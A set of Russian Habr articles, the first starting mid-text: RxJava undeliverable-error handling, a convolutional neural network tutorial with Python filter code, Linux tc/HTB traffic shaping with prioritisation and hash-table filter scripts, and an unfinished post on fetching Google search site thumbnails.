Простой способ попасть в подобную ситуациюю — использовать `zip` для объединения сетевых вызовов (например, два вызова `Retrofit`, возвращающие `Observable`). Если в обоих вызовах возникает ошибка (например, нет интернет соединения) — оба источника вызовут ошибки, первая из которых попадёт в реализацию `onError`, а вторая будет доставлена базовому обработчику ошибок (`RxJavaPlugins.onError`).
### Пример с ConnectableObservable без подписчиков
`ConnectableObservable` также может вызвать `UndeliverableException`. Стоит напомнить, что `ConnectableObservable` вызывает события независимо от наличия активных подписчиков, достаточно вызвать метод `connect()`. Если при отсутствии подписчиков в `ConnectableObservable` возникнет ошибка — она будет доставлена базовому обработчику ошибок.
Вот довольно невинный пример, который может вызвать такую ошибку:
```
someApi.retrofitCall() // Сетевой вызов с использованием Retrofit
.publish()
.connect()
```
Если `someApi.retrofitCall()` вызовет ошибку (например, нет подключения к интернету) — приложение упадет, так как сетевая ошибка будет доставлена базовому обработчику ошибок `RxJava`.
Этот пример кажется выдуманным, но очень легко попасть в ситуацию, когда `ConnectableObservable` все еще соединен(connected), но подписчиков у него нет. Я столкнулся с этим при использовании `autoConnect()` при вызове к API. `autoConnect()` автоматически не отключает `Observable`. Я отписывался в `onStop` методе `Activity`, но результат сетевого вызова возвращался после уничтожения `Activity` и приложение падало с `UndeliverableException`.
### Обрабатываем ошибки
Итак, что же делать с этими ошибками?
Первый шаг — посмотреть на возникающие ошибки и попытаться определить что их вызывает. Идеально, если вам удастся исправить проблему у её источника, чтобы предотвратить передачу ошибки в `RxJavaPlugins.onError`.
Решение для примера с `zipWith` — взять один или оба источника и реализовать в них [один из методов](https://github.com/ReactiveX/RxJava/wiki/Error-Handling-Operators) для перехватыва ошибок. Например, вы можете использовать `onErrorReturn` для передачи вместо ошибки значения по умолчанию.
Пример с `ConnectableObservable` исправить проще — просто убедитесь в том, что вы отсоединили `Observable` в момент, когда последний подписчик отписывается. `autoConnect()`, к примеру, имеет перегруженную реализацию, которая принимает функцию, отлавливающую момент соединения ([больше можно посмотреть здесь](http://akarnokd.blogspot.com/2015/10/operator-internals-autoconnect.html)).
Другой путь решения проблемы — подменить базовый обработчик ошибок своим собственным. Метод `RxJavaPlugins.setErrorHandler(Consumer)` поможет вам в этом. Если это подходящее для вас решение — можете перехватывать все ошибки отправленные в `RxJavaPlugins.onError` и обрабатывать их по своему усмотрению. Это решение может оказаться довольно сложным — помните, что `RxJavaPlugins.onError` получает ошибки от всех потоков (streams) `RxJava` в приложении.
Если вы вручную создаете свои `Observable`, то можете вместо `emitter.onError()` вызывать `emitter.tryOnError()`. Этот метод передает ошибку только если поток (stream) не уничтожен (terminated) и имеет подписчиков. Помните, что данный метод экспериментальный.
Мораль данной статьи в том, что вы не можете быть уверены в отсутсвии ошибок при работе с RxJava, если просто реализовали `onError` в подписчиках. Вы должны быть в курсе ситуаций, в которых ошибки могут оказаться недоступны для подписчиков, и убедиться, что эти ситуации обрабатываются. | https://habr.com/ru/post/422611/ | null | ru | null |
# Усы, лапы и хвост: как нейронная сеть распознает котиков и другие объекты
Распознавание изображений — классический пример использования нейронных сетей. Вспомним, как происходит процесс обучения сети, в чем возникают сложности и зачем в разработке использовать биологию. Подробности под катом.
*В рассказе нам поможет Дмитрий Сошников — технический евангелист Microsoft, член Российской ассоциации искусственного интеллекта, преподаватель функционального и логического программирования ИИ в МАИ, МФТИ и ВШЭ, а также наших [курсов](https://binarydistrict.com/ru/?utm_sourse=habr).*
Представьте, что у нас есть множество картинок, которые нужно отсортировать по двум стопкам с помощью нейронной сети. Каким образом это можно сделать? Конечно, все зависит от самих объектов, но мы всегда можем выделить какие-то особенности.
Нам нужно знать как можно больше информации о входных данных и учесть их на вводе вручную, еще до обучения сети. К примеру, если у нас задача обнаружить на картинке разноцветных котов, будет важен не цвет, а форма объекта. Когда мы избавимся от цвета, перейдя к черно-белому изображению, сеть научится куда быстрее и успешнее: ей придется распознавать в несколько раз меньше информации.
Для распознавания произвольных объектов, к примеру котиков и лягушек, цвет очевидно важен: лягушка зеленая, а коты — нет. Если мы оставляем каналы цвета, для каждой палитры сеть учится заново распознавать объекты изображения, потому что этот канал цвета подается на другие нейроны.
А если мы хотим разрушить известный мем про котов и хлеб, научив нейронную сеть обнаруживать животное на любой картинке? Казалось бы, цвета и форма приблизительно одинаковая. Что тогда делать?
### Банки фильтров и биологическое зрение
С помощью разных фильтров можно выделять различные фрагменты изображения, которые затем обнаруживать и исследовать в виде отдельных свойств. Например, подавать на вход традиционному машинному обучению или нейросетям. Если нейросеть имеет дополнительную информацию о структуре объектов, с которыми она работает, то качество работы возрастает.
В области машинного зрения наработаны банки фильтров — наборы фильтров для выделения основных особенностей объектов.
Похожая «архитектура» используется и в биологии. Ученые считают, что человеческое зрение не определяет все изображение целиком, а выделяет характерные особенности, уникальные черты, по которым мозг и идентифицирует объект. Соответственно, для быстрого и корректного распознавания объекта можно определить максимально уникальные черты. К примеру, у котов это могут быть усы — веерные горизонтальные черточки на изображении.
#### Разделение весов (Weight Sharing)
Чтобы сети не приходилось отдельно учиться распознавать котиков в разных частях картинки, мы «разделяем» веса, отвечающие за распознавание, между различными фрагментами входных сигналов.
Это требует специализированной архитектуры сети:
* сверточные сети для работы с изображениями
* рекуррентные сети для работы с текстом / последовательностями
Нейронные сети, эффективно использующиеся в распознавании изображений, в которых применяются специальные свёрточные слои (Convolution Layers).
Основная идея заключается в следующем:
* Используем weight sharing для создания «фильтрующего окна», пробегающего по изображению
* Примененный к изображению фильтр помогает выделить фрагменты, важные для распознавания
* В то время как в традиционном машинном зрении фильтры конструировали вручную, нейросети позволяют нам сконструировать оптимальные фильтры с помощью обучения
* Фильтрацию изображения можно естественным образом совместить с вычислением нейронной сети
Для обработки изображений используется свертка, как и в обработке сигналов.
Опишем функцию свертки со следующими параметрами:
* kernel — ядро свёртки, матрица весов
* pad — сколько пискелей надо добавить к изображению по краям
* stride — частота применения фильтра. Например, для stride=2 будем брать каждый второй пиксель изображения по вертикали и горизонтали, уменьшив разрешение вдвое
```
In [1]:
def convolve(image, kernel, pad = 0, stride = 1):
rows, columns = image.shape
output_rows = rows // stride
output_columns = columns // stride
result = np.zeros((output_rows, output_columns))
if pad > 0:
image = np.pad(image, pad, 'constant')
kernel_size = kernel.size
kernel_length = kernel.shape[0]
half_kernel = kernel_length // 2
kernel_flat = kernel.reshape(kernel_size, 1)
offset = builtins.abs(half_kernel-pad)
for r in range(offset, rows - offset, stride):
for c in range(offset, columns - offset, stride):
rr = r - half_kernel + pad
cc = c - half_kernel + pad
patch = image[rr:rr + kernel_length, cc:cc + kernel_length]
result[r//stride,c//stride] = np.dot(patch.reshape(1, kernel_size), kernel_flat)
return result
```
```
In [2]:
def show_convolution(kernel, stride = 1):
"""Displays the effect of convolving with the given kernel."""
fig = pylab.figure(figsize = (9,9))
gs = gridspec.GridSpec(3, 3, height_ratios=[3,1,3])
start=1
for i in range(3):
image = images_train[start+i,0]
conv = convolve(image, kernel, kernel.shape[0]//2, stride)
ax = fig.add_subplot(gs[i])
pylab.imshow(image, interpolation='nearest')
ax.set_xticks([])
ax.set_yticks([])
ax = fig.add_subplot(gs[i + 3])
pylab.imshow(kernel, cmap='gray', interpolation='nearest')
ax.set_xticks([])
ax.set_yticks([])
ax = fig.add_subplot(gs[i + 6])
pylab.imshow(conv, interpolation='nearest')
ax.set_xticks([])
ax.set_yticks([])
pylab.show()
```
```
In [3]:
blur_kernel = np.array([[1, 4, 7, 4, 1],
[4, 16, 26, 16, 4],
[7, 26, 41, 26, 7],
[4, 16, 26, 16, 4],
[1, 4, 7, 4, 1]], dtype='float32')
blur_kernel /= 273
```
### Фильтры
#### Blur
Фильтр размытия позволяет сгладить неровности и подчеркнуть общую форму объектов.
```
In [4]:
show_convolution(blur_kernel)
```
#### Вертикальные края
Можно придумать фильтр, выделяющий вертикальные переходы яркости на изображении. Здесь голубой цвет обозначает переход от чёрного к белому, желтый — наоборот.
```
In [5]:
vertical_edge_kernel = np.array([[1, 4, 0, -4, 1],
[4, 16, 0, -16, -4],
[7, 26, 0, -26, -7],
[4, 16, 0, -16, -4],
[1, 4, 0, -4, -1]], dtype='float32')
vertical_edge_kernel /= 166
```
```
In [6]:
show_convolution(vertical_edge_kernel)
```
#### Горизонтальные края
Аналогичный фильтр можно построить для выделения горизонтальных штрихов на изображении.
```
In [7]:
horizontal_bar_kernel = np.array([[0, 0, 0, 0, 0],
[-2, -8, -13, -8, -2],
[4, 16, 26, 16, 4],
[-2, -8, -13, -8, -2],
[0, 0, 0, 0, 0]], dtype='float32')
horizontal_bar_kernel /= 132
```
```
In [8]:
show_convolution(horizontal_bar_kernel)
```
#### Контурный фильтр
Также можно построить фильтр 9x9, который будет выделять контуры изображения.
```
In [9]:
blob_kernel = np.array([[0, 1, 1, 2, 2, 2, 1, 1, 0],
[1, 2, 4, 5, 5, 5, 4, 2, 1],
[1, 4, 5, 3, 0, 3, 5, 4, 1],
[2, 5, 3, -12, -24, -12, 3, 5, 2],
[2, 5, 0, -24, -40, -24, 0, 5, 2],
[2, 5, 3, -12, -24, -12, 3, 5, 2],
[1, 4, 5, 3, 0, 3, 5, 4, 1],
[1, 2, 4, 5, 5, 5, 4, 2, 1],
[0, 1, 1, 2, 2, 2, 1, 1, 0]], dtype='float32')
blob_kernel /= np.sum(np.abs(blob_kernel))
```
```
In [10]:
show_convolution(blob_kernel)
```
Таким образом работает классический пример с распознаванием цифр: у каждой цифры есть свои характерные геометрические черты (два круга — восьмерка, косая черта на половину изображения — единица и т.д.), по которым нейронная сеть может определить что за объект. Мы создаем фильтры, характеризующие каждую цифру, каждый из фильтров прогоняем по изображению и сводим ошибку к минимуму.
Если применить схожий подход к поиску котиков на картинке, быстро выяснится, что признаков у четвероногого для обучения нейросети масса, и все они разные: хвосты, уши, усы, носы, шерсть и окраска. И у каждого кота может быть ничего общего с другим. Нейросеть с небольшим количеством данных о структуре объекта не сможет понять, что один кот лежит, а второй стоит на задних лапах.
### Основная идея свёрточной сети
* Создаем в нейросети свёрточный слой, который обеспечивает применение фильтра к изображению.
* Обучаем веса фильтра по алгоритму обратного распространения
К примеру, у нас есть изображение *i*, 2 сверточных фильтра *w* c выходами *o*. Элементы выходного изображения будут вычисляться следующим образом:
### Тренировка весов
Алгоритм таков:
* Фильтр с одними и теми же весами применяется ко всем пикселям изображения.
* При этом фильтр «пробегает» по всему изображению.
* Мы хотим обучать эти веса (общие для всех пикселей) по алгоритму обратного распространения.
* Для этого надо свести применение фильтра к однократному умножению матриц.
* В отличие от полносвязного слоя, весов для обучения будет меньше, а примеров — больше.
* Хитрость — im2col
#### im2col
Начнем с изображения x, где каждый пиксель соответствует букве:
Затем мы извлечем все фрагменты изображения 3x3 и поместим их в столбцы большой матрицы X:
Теперь мы можем сохранить веса фильтров в обычной матрице, где каждая строка соответствует одному свёрточному фильтру:
Тогда свёртка по всему изображению превращается в обычное матричное умножение:
### Проблемы анализа изображений
В процессе обучения может возникнуть множество подводных камней: некорректная выборка уже на втором слое загубит весь процесс обучения, она может быть недостаточно большой, из-за чего сеть не обучится выявлять всевозможные положения особенностей объекта.
Есть и обратная ситуация: при увеличении числа слоев происходит затухание градиента, появляется слишком большое число параметров, а функция может застрять в локальном минимуме.
В конце концов, кривой код тоже никто не отменял.
Чтобы научить работе с нейронными сетями, справляться с ее обучением и определять, где на практике можно воспользоваться машинным обучением, мы с Дмитрием Сошниковым разработали специальный курс Neuro Workshop. Конечно, на нем рассказывается и о том, как решать перечисленные выше проблемы.
Neuro Workshop пройдет 2 раза:
* [12 мая](https://binarydistrict.com/ru/courses/neuro-workshop/?utm_sourse=habr)
* [26 мая](https://binarydistrict.com/ru/courses/neuro-workshop-26-05-2018/?utm_sourse=habr)
Выбирайте удобный день, приходите и задавайте Дмитрию свои вопросы. | https://habr.com/ru/post/354524/ | null | ru | null |
# Шейпирование трафика в Linux. Часть 2
Вторая часть статьи об управлении трафиком в Linux. В статье приведены примеры приоретизации трафика (QoS) и рассказано об использовании hash таблиц при фильтрации трафика (fast hash tables), использование которых позволяет существенно увеличить производительность.
В первой части мы остановились на генерации конфигов средней сложность для htbinit. Сегодня мы поговорим о приоретизации трафика и использовании хэш таблиц в фильтрах. Я подразумеваю, что Вы прочитали первую часть статьи .
Предположим, что нам надоели замечания пользователей о высоком пинге, надоели постоянные детские вопли на форуме о том, что в counter-strike играть невозможно: «лаги страшные», или «у меня странички медленно грузятся, вконтакте открывался 10 минут», а писать что все замеры нужно производить при отключенном «торренте» уже нету сил.
Посему тто бы наша совесть была чиста, и мы могли не кривя душой сказать: «проблема на стороне провайдера предоставляющего данный сервис»~~(обозначить направление движения в сторону южного полюса)~~ — озаботимся приоретизацией трафика.
Приоритеты выставим в таком порядке:
1. icmp
2. udp
3. tcp port 80
4. bulk traffic
Рассмотрим ограничение полосы на внутреннем интерфейсе, управлять будем «скоростью скачивания».
Напомню.
В простом варианте изложения алгоритм нарезки трафика выглядит так:
1. Создаем корневую дисциплину для интерфейса и указываем класс куда будет попадать не классифицированный трафик.
2. Создаем корневой класс и определяем ширину канала.
3. Создаем дочерний класс для шейпирования абонента.
4. Создаем дисциплину шейпирования для класса абонента.
5. Создаем фильтра позволяющие классифицировать трафик абонента.
Пример
> `#!/bin/bash
>
>
>
> #"Очищаем" интерфейс eht1
>
> /sbin/tc qdisc del dev eth1 root handle 1: htb default 15
>
> #Создаем заново дисциплину и указываем дефолтный класс
>
> /sbin/tc qdisc add dev eth1 root handle 1: htb default 15
>
> #Создаем общий для клиентов класс
>
> /sbin/tc class add dev eth1 parent 1: classid 1:1 htb rate 10Mbit ceil 10Mbit
>
>
>
> #Создаем корневой класс клиента
>
> /sbin/tc class add dev eth1 parent 1:1 classid 1:10 htb rate 512kbit ceil 512kbit
>
>
>
> #Создаем 4 подкласса для каждого из видов трафика
>
> /sbin/tc class add dev eth1 parent 1:10 classid 1:11 htb rate 1kbit ceil 512kbit prio 1
>
> /sbin/tc class add dev eth1 parent 1:10 classid 1:12 htb rate 1kbit ceil 512kbit prio 2
>
> /sbin/tc class add dev eth1 parent 1:10 classid 1:13 htb rate 1kbit ceil 512kbit prio 3
>
> /sbin/tc class add dev eth1 parent 1:10 classid 1:14 htb rate 1kbit ceil 512kbit prio 4
>
>
>
> #Создаем дисциплины шейпирования для конечных классов
>
> /sbin/tc qdisc add dev eth1 parent 1:11 handle 11: sfq perturb 10
>
> /sbin/tc qdisc add dev eth1 parent 1:12 handle 12: sfq perturb 10
>
> /sbin/tc qdisc add dev eth1 parent 1:13 handle 13: sfq perturb 10
>
> /sbin/tc qdisc add dev eth1 parent 1:14 handle 14: sfq perturb 10
>
>
>
> Создаем 4 фильтра, для каждого из видов трафика
>
> /sbin/tc filter add dev eth1 parent 1:0 protocol ip prio 1 u32 match ip dst 192.168.2.2/32 match ip protocol 1 0xff flowid 1:11
>
> /sbin/tc filter add dev eth1 parent 1:0 protocol ip prio 2 u32 match ip dst 192.168.2.2/32 match ip protocol 17 0xff flowid 1:12
>
> /sbin/tc filter add dev eth1 parent 1:0 protocol ip prio 3 u32 match ip dst 192.168.2.2/32 match ip protocol 6 0xff match ip sport 80 0xffff flowid 1:13
>
> /sbin/tc filter add dev eth1 parent 1:0 protocol ip prio 4 u32 match ip dst 192.168.2.2/32 flowid 1:14
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Думаю из примера видно, что для реализации приоретизиции трафика мы создали для каждого отдельный класс. Далее создаем фильтры, причем чем меньше prio, тем больше у трафика приоритет. Вообще правила обрабатываются согласно тому как их добавляли, в случае с приоритетами — первыми обслуживаются правила, имеющие наивысший приоритет.
Так же вы можете каждому из классов обзначить RATE равный одной четвертой от RATE корневого класса клиента, что бы уже наверняка.
Хочу обратить внимание, на то что нам пришлось создать 4 фильтра, для оного ип, а если ип 3-4 тысячи, то получим огромный линейный список правил — в итоге производительность упадет ниже плинтуса.
Что бы этого избежать воспользуемся «быстрыми» хэш таблицами.
О том, что такое хэш таблицы Вы можете посмотреть на Википедии.
Создадим 4 таблицы по 256 ячеек, каждая из таблиц будет оценивать один из октетов ип адреса.
И в конечном итоге, вместо поиска по всему списку, как это было бы в классическом варианте, мы уменьшим количество проверок и значительно снизим нагрузку.
Пример.
> `#Создаем корневой фильтр
>
> /sbin/tc filter add dev eth1 parent 1:0 protocol ip u32
>
> #Создаем 4 хеш таблицы для каждого октета
>
> /sbin/tc filter add dev eth1 parent 1:0 handle 10: protocol ip u32 divisor 256
>
> /sbin/tc filter add dev eth1 parent 1:0 handle 11: protocol ip u32 divisor 256
>
> /sbin/tc filter add dev eth1 parent 1:0 handle 12: protocol ip u32 divisor 256
>
> /sbin/tc filter add dev eth1 parent 1:0 handle 13: protocol ip u32 divisor 256
>
> #Создаем фильтр направлящий весь трафик в хеш таблицу с ID 10
>
> /sbin/tc filter add dev eth1 parent 1:0 protocol ip u32 ht 801:: match ip dst 0.0.0.0/0 hashkey mask 0xff000000 at 16 link 10:
>
> #Добавляем правило в 10 хеш таблицу, если первый октет равен 192, то оправляем пакет в 11 хеш таблицу
>
> /sbin/tc filter add dev eth1 parent 1:0 protocol ip u32 ht 10:c0: match ip dst 192.0.0.0/8 hashkey mask 0xff0000 at 16 link 11:
>
> #Добавляем правило в 11 хеш таблицу, если второй октет равен 168, то оправляем пакет в 12 хеш таблицу
>
> /sbin/tc filter add dev eth1 parent 1:0 protocol ip u32 ht 11:a8: match ip dst 192.168.0.0/16 hashkey mask 0xff00 at 16 link 12:
>
> #Добавляем правило в 12 хеш таблицу, если третий октет равен 2, то оправляем пакет в 13 хеш таблицу
>
> /sbin/tc filter add dev eth1 parent 1:0 protocol ip u32 ht 12:2: match ip dst 192.168.2.0/24 hashkey mask 0xff at 16 link 13:
>
>
>
> #Добавляем правила в 13 хеш таблицу, оцениваем 4 октет и направляем в необходимый класс, в зависимости от вида трафика
>
> /sbin/tc filter add dev eth1 parent 1:0 protocol ip prio 1 u32 ht 13:2: match ip dst 192.168.2.2/32 match ip protocol 1 0xff flowid 1:11
>
> /sbin/tc filter add dev eth1 parent 1:0 protocol ip prio 2 u32 ht 13:2: match ip dst 192.168.2.2/32 match ip protocol 17 0xff flowid 1:12
>
> /sbin/tc filter add dev eth1 parent 1:0 protocol ip prio 3 u32 ht 13:2: match ip dst 192.168.2.2/32 match ip protocol 6 0xff match ip sport 80 0xffff flowid 1:13
>
> /sbin/tc filter add dev eth1 parent 1:0 protocol ip prio 4 u32 ht 13:2: match ip dst 192.168.2.2/32 flowid 1:14
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Ниже приведен листинг скрипка генерирующего правила для tc включающие в себя приоретизацию и хеш фильтры.
Скрип полностью рабочий, думаю не составит большого труда модифицировать его под себя.
При переходе с линейных фильтров на хеш таблицы нагрузка упала почти в 4 раза.
> `#!/bin/bash
>
> mysql="mysql -ppass -u user -h host"
>
> #создаем корневуй дсциплину, класс, корневой фильтр и тиблицы хешей для внешних интерфейсов
>
> echo "select ext\_iface from system.shaper\_view group by ext\_iface;"|$mysql|sed 1d|
>
> awk '{
>
> print "/sbin/tc qdisc del dev "$1" root handle 1: htb default 15";
>
> print "/sbin/tc qdisc add dev "$1" root handle 1: htb default 15";
>
> print "/sbin/tc class add dev "$1" parent 1: classid 1:1 htb rate 10Mbit ceil 10Mbit";
>
> print "/sbin/tc filter add dev "$1" parent 1:1 prio 10 protocol ip u32";
>
> print "/sbin/tc filter add dev "$1" parent 1:0 protocol ip u32";
>
> print "/sbin/tc filter add dev "$1" parent 1:0 handle 10: protocol ip u32 divisor 256";
>
> print "/sbin/tc filter add dev "$1" parent 1:0 handle 11: protocol ip u32 divisor 256";
>
> print "/sbin/tc filter add dev "$1" parent 1:0 handle 12: protocol ip u32 divisor 256";
>
> print "/sbin/tc filter add dev "$1" parent 1:0 handle 13: protocol ip u32 divisor 256";
>
> print "/sbin/tc filter add dev "$1" parent 1:0 protocol ip u32 ht 801:: match ip dst 0.0.0.0/0 hashkey mask 0xff000000 at 16 link 10:";
>
> }'
>
> #создаем корневуй дсциплину, класс, корневой фильтр и тиблицы хешей для внутренних интерфейсов
>
> echo "select int\_iface from system.shaper\_view group by int\_iface;"|$mysql|sed 1d|
>
> awk '{
>
> print "/sbin/tc qdisc del dev "$1" root handle 1: htb default 15";
>
> print "/sbin/tc qdisc add dev "$1" root handle 1: htb default 15";
>
> print "/sbin/tc class add dev "$1" parent 1: classid 1:1 htb rate 10Mbit ceil 10Mbit";
>
> print "/sbin/tc filter add dev "$1" parent 1:1 prio 10 protocol ip u32";
>
> print "/sbin/tc filter add dev "$1" parent 1:0 protocol ip u32";
>
> print "/sbin/tc filter add dev "$1" parent 1:0 handle 10: protocol ip u32 divisor 256";
>
> print "/sbin/tc filter add dev "$1" parent 1:0 handle 11: protocol ip u32 divisor 256";
>
> print "/sbin/tc filter add dev "$1" parent 1:0 handle 12: protocol ip u32 divisor 256";
>
> print "/sbin/tc filter add dev "$1" parent 1:0 handle 13: protocol ip u32 divisor 256";
>
> print "/sbin/tc filter add dev "$1" parent 1:0 protocol ip u32 ht 801:: match ip src 0.0.0.0/0 hashkey mask 0xff000000 at 12 link 10:";
>
> }'
>
>
>
> #создаем классы, фильтры,дисциплины и при необходимости заполняем таблицы хешей
>
> echo "select user\_id,ip,speed,int\_iface,ext\_iface from system.shaper\_view order by user\_id;"|$mysql|sed 1d|
>
> awk '
>
> BEGIN{
>
> buf=0;
>
> class\_id=255;
>
> tc\_class="/sbin/tc class add dev";
>
> tc\_qdisc="/sbin/tc qdisc add dev";
>
> tc\_filter="/sbin/tc filter add dev";
>
> }
>
> {
>
> if(buf!=$1)
>
> {
>
> printf "%s%x%s\n", "# ",class\_id," "class\_id" "$2;
>
> client\_speed=$3\*128;
>
> printf "%s%x%s\n",tc\_class" "$4" parent 1:1 classid 1:",++class\_id," htb rate "client\_speed"bps ceil "client\_speed"bps";
>
> printf "%s%x%s\n",tc\_class" "$5" parent 1:1 classid 1:",class\_id," htb rate "client\_speed"bps ceil "client\_speed"bps";
>
> client\_class=class\_id;
>
> printf "%s%x%s%x%s\n",tc\_class" "$4" parent 1:",client\_class," classid 1:",++class\_id," htb rate 1024bps ceil "client\_speed"bps prio 1";
>
> printf "%s%x%s%x%s\n",tc\_class" "$5" parent 1:",client\_class," classid 1:",class\_id," htb rate 1024bps ceil "client\_speed"bps prio 1";
>
> printf "%s%x%s%x%s\n",tc\_qdisc" "$4" parent 1:",class\_id," handle ",class\_id,": sfq perturb 10";
>
> printf "%s%x%s%x%s\n",tc\_qdisc" "$5" parent 1:",class\_id," handle ",class\_id,": sfq perturb 10";
>
> printf "%s%x%s%x%s\n",tc\_class" "$4" parent 1:",client\_class," classid 1:",++class\_id," htb rate 1024bps ceil "client\_speed"bps prio 2";
>
> printf "%s%x%s%x%s\n",tc\_class" "$5" parent 1:",client\_class," classid 1:",class\_id," htb rate 1024bps ceil "client\_speed"bps prio 2";
>
> printf "%s%x%s%x%s\n",tc\_qdisc" "$4" parent 1:",class\_id," handle ",class\_id,": sfq perturb 10";
>
> printf "%s%x%s%x%s\n",tc\_qdisc" "$5" parent 1:",class\_id," handle ",class\_id,": sfq perturb 10";
>
> printf "%s%x%s%x%s\n",tc\_class" "$4" parent 1:",client\_class," classid 1:",++class\_id," htb rate 1024bps ceil "client\_speed"bps prio 3";
>
> printf "%s%x%s%x%s\n",tc\_class" "$5" parent 1:",client\_class," classid 1:",class\_id," htb rate 1024bps ceil "client\_speed"bps prio 3";
>
> printf "%s%x%s%x%s\n",tc\_qdisc" "$4" parent 1:",class\_id," handle ",class\_id,": sfq perturb 10";
>
> printf "%s%x%s%x%s\n",tc\_qdisc" "$5" parent 1:",class\_id," handle ",class\_id,": sfq perturb 10";
>
> printf "%s%x%s%x%s\n",tc\_class" "$4" parent 1:",client\_class," classid 1:",++class\_id," htb rate 1024bps ceil "client\_speed"bps prio 4";
>
> printf "%s%x%s%x%s\n",tc\_class" "$5" parent 1:",client\_class," classid 1:",class\_id," htb rate 1024bps ceil "client\_speed"bps prio 4";
>
> printf "%s%x%s%x%s\n",tc\_qdisc" "$4" parent 1:",class\_id," handle ",class\_id,": sfq perturb 10";
>
> printf "%s%x%s%x%s\n",tc\_qdisc" "$5" parent 1:",class\_id," handle ",class\_id,": sfq perturb 10";
>
> }
>
> split($2,ip,".");
>
> if (ht\_1[ip[1]]!=1)
>
> {
>
> printf "%s%x%s\n",tc\_filter" "$4" parent 1:0 protocol ip u32 ht 10:",ip[1],": match ip dst "ip[1]".0.0.0/8 hashkey mask 0xff0000 at 16 link 11:";
>
> printf "%s%x%s\n",tc\_filter" "$5" parent 1:0 protocol ip u32 ht 10:",ip[1],": match ip src "ip[1]".0.0.0/8 hashkey mask 0xff0000 at 12 link 11:";
>
> ht\_1[ip[1]]=1;
>
> }
>
> if (ht\_2[ip[2]]!=1)
>
> {
>
> printf "%s%x%s\n",tc\_filter" "$4" parent 1:0 protocol ip u32 ht 11:",ip[2],": match ip dst "ip[1]"."ip[2]".0.0/16 hashkey mask 0xff00 at 16 link 12:";
>
> printf "%s%x%s\n",tc\_filter" "$5" parent 1:0 protocol ip u32 ht 11:",ip[2],": match ip src "ip[1]"."ip[2]".0.0/16 hashkey mask 0xff00 at 12 link 12:";
>
> ht\_2[ip[2]]=1;
>
> }
>
> if (ht\_3[ip[3]]!=1)
>
> {
>
> printf "%s%x%s\n",tc\_filter" "$4" parent 1:0 protocol ip u32 ht 12:",ip[3],": match ip dst "ip[1]"."ip[2]"."ip[3]".0/24 hashkey mask 0xff at 16 link 13:";
>
> printf "%s%x%s\n",tc\_filter" "$5" parent 1:0 protocol ip u32 ht 12:",ip[3],": match ip src "ip[1]"."ip[2]"."ip[3]".0/24 hashkey mask 0xff at 12 link 13:";
>
> ht\_3[ip[3]]=1;
>
> }
>
> printf "%s%x%s%x\n",tc\_filter" "$4" parent 1:0 protocol ip prio 1 u32 ht 13:",ip[4],": match ip dst "$2"/32 hashkey mask 0x0 at 16 match ip protocol 1 0xff flowid 1:",client\_class
>
> printf "%s%x%s%x\n",tc\_filter" "$5" parent 1:0 protocol ip prio 1 u32 ht 13:",ip[4],": match ip src "$2"/32 hashkey mask 0x0 at 12 match ip protocol 1 0xff flowid 1:",client\_class
>
> printf "%s%x%s%x\n",tc\_filter" "$4" parent 1:0 protocol ip prio 2 u32 ht 13:",ip[4],": match ip dst "$2"/32 hashkey mask 0x0 at 16 match ip protocol 17 0xff flowid 1:",++client\_class
>
> printf "%s%x%s%x\n",tc\_filter" "$5" parent 1:0 protocol ip prio 2 u32 ht 13:",ip[4],": match ip src "$2"/32 hashkey mask 0x0 at 12 match ip protocol 17 0xff flowid 1:",client\_class
>
> printf "%s%x%s%x\n",tc\_filter" "$4" parent 1:0 protocol ip prio 3 u32 ht 13:",ip[4],": match ip dst "$2"/32 hashkey mask 0x0 at 16 match ip protocol 6 0xff match ip sport 80 0xffff flowid 1:",++client\_class
>
> printf "%s%x%s%x\n",tc\_filter" "$5" parent 1:0 protocol ip prio 3 u32 ht 13:",ip[4],": match ip src "$2"/32 hashkey mask 0x0 at 12 match ip protocol 6 0xff match ip dport 80 0xffff flowid 1:",client\_class
>
> printf "%s%x%s%x\n",tc\_filter" "$4" parent 1:0 protocol ip prio 4 u32 ht 13:",ip[4],": match ip dst "$2"/32 hashkey mask 0x0 at 16 flowid 1:",++client\_class
>
> printf "%s%x%s%x\n",tc\_filter" "$5" parent 1:0 protocol ip prio 4 u32 ht 13:",ip[4],": match ip src "$2"/32 hashkey mask 0x0 at 12 flowid 1:",client\_class
>
> buf=$1;
>
> }'
>
> \* This source code was highlighted with Source Code Highlighter.`
Надеюсь данный опус помог Вам вникнуть в основы управления трафиком в Linux. | https://habr.com/ru/post/89002/ | null | ru | null |
# Google Thumbnail: Получаем миниатюры сайтов
Думаю все знают что в поиске Google можно предварительно просмотреть сайт открыв его превью.
Сегодня поделюсь с вами одним из методов получения данного изображения.
Не так давно писал одну вещь(вскоре с вами поделюсь), для себя, и мне требовалось получить превью сайта, любого.
Было несколько вариантов:
— писать свой генератор превьюшек, для себя понимаю это как — скрипт должен открывать страницу, фотографировать ее, и сохранять изображение, а нужно ведь всю страницу с отработанными javascript, как я понял нужно неплохо расширить сервер дополнительными модулями и прочим, данный метод меня не устраивает.
— далее взгляд пал на готовые решения, разнообразные ресурсы предлагающие api для получения превью сайтов, но отдаваться на волю неизвестному ресурсу, та и не везде получаешь свободу, решено было отложить, а в дальнейшем и отказаться, от этого подхода
— далее пришел на помощь wordpress, а точнее сервис mShots(можно прочесть к примеру [здесь](http://habrahabr.ru/blogs/wordpress/129998/)), но сервис в любом случае возвращает изображение, что не дает проверить его отсутствие(кому потребуется могу поделится моим решением проверки отсутствия изображения), а так же требуется некоторое время для создания превью, и сервис никак об этом не оповещает, кроме как возвращает в любом случае gif preloader.
На последнем методе было решено остановится, и продолжить поиски метода более стабильного. Поиски проходили в Google Seach и трудно было не обратить внимания на то что он предоставляет скриншот сайта(как выяснилось, получает он их из своего кеша), и тут пришла мысль — «А почему бы и нет».
Так начался поиск способа получить изображения от google.
Первым делам посмотрел запрос:
Как видите ничего радостного, куча непонятных параметров.
Не буду описывать каждый параметр, притом не все знаю, скажу лишь что «j» и «b» можно смело удалить, а «а» — это у нас уникальный трехзначный хэш, который, как выяснилось, встраивается в html разметку страницы, откуда его и можно получить, распарсив ее.
Решил опробовать я данный подход, логика была следующая:
— осуществляем поиск, в нашей задаче требуется найти сайт, поэтому ищем по запросу site:http://domain.zone
— парсим полученное и находим наши хеш и url
— формируем нужный запрос и получаем искомое
Все вроде бы логично, поэтому приступил к работе.
Волей судьбы и недостатком времени отложил данную работу и забыл про нее до сегодняшнего вечера,
